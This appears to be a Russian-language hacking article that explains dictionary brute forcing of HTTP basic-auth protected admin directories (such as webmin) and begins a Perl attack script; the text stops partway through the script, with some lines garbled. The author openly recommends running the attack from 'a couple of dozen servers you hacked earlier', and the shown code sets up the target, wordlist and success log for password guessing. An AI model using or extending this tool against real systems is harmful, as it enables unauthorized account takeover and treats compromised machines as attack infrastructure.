Brute force на perl'e.



- Брут-форс со своего компьютера -- неблагодарный труд. Но если "запрячь" пару-тройку десятков взломанных тобой ранее серверов, то положительный результат должен быть. Поэтому напишем на перле . Существует несколько подходов к взлому чьего-либо пароля. Самый "тупой" способ - брутфорс
(последовательный перебор паролей по словарю, либо по предварительно сгенерированным
паролем). Данный способ актуален лишь тогда, когда других способов попросту нет. И работает
он исключительно на удачу ;) То есть, пароль может подобраться со второй попытки, либо через
несколько лет. А может вообще не подобраться (по истечению словарного запаса =)). Еще одна
слабость брутфорса - это медленная работа... Особенно, если ты на диалапе. Да и сами
виндовые брутфорсы глючат... Пока резолвнут адрес, пока сконнектятся, пока передадут/получат
данные - пройдет довольно много времени. Дохлый номер... наверное подумаешь ты ;) Но я тебя обрадую... Брутфорс дает хорошие плоды, если программа грамотно написана и запущена с *nix
шелла, с хорошим каналом ;) Чтобы удовлетворить эти 2 потребности потребуются два
компонента: - Прямые руки - *nix шелл с открытыми соединениями в internet + поддержка
background processes В общем-то достаточно... Таким образом, у нас два среды для написания
брутфорса - Си и Перл. Как истиння фанатка я остановлюсь на втором =) Perl - установлен
практически на любой linux-тачке, так что проблем с интерпретатором у нас не возникнет.
Итак, пишем брутфорс, который подбирает пароль к запароленой директории на www (например
webmin или radius-admin). В этом случае имя пользователя должно быть известно. Сущность
www-авторизации (basic) была описана в предыдущих статьях (), так что повторяться не буду.
Для создании MimeCode в Perl существует компонент MIME::Base64. его мы и используем.
Итак, поехали:
#!/usr/bin/perl

## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
## Modified by sikeirosa: sikeirosa@mail.ru

use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64

$server="127.0.0.1"; ### Удаленный сервер
$port="80"; ### Удаленный порт
$dir="/admin"; ### Запароленная директория
$logfile="sucess.log"; ### Логфайл, куда пишем пароль
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="bigdict.txt"; ### Словарь (файл с паролями)
$users="users.txt"; ### Имя пользователя

open(file, "<$words") or die print "$!n";
@pwd_data=;
$total=@pwd_data;
close file; ### Записывае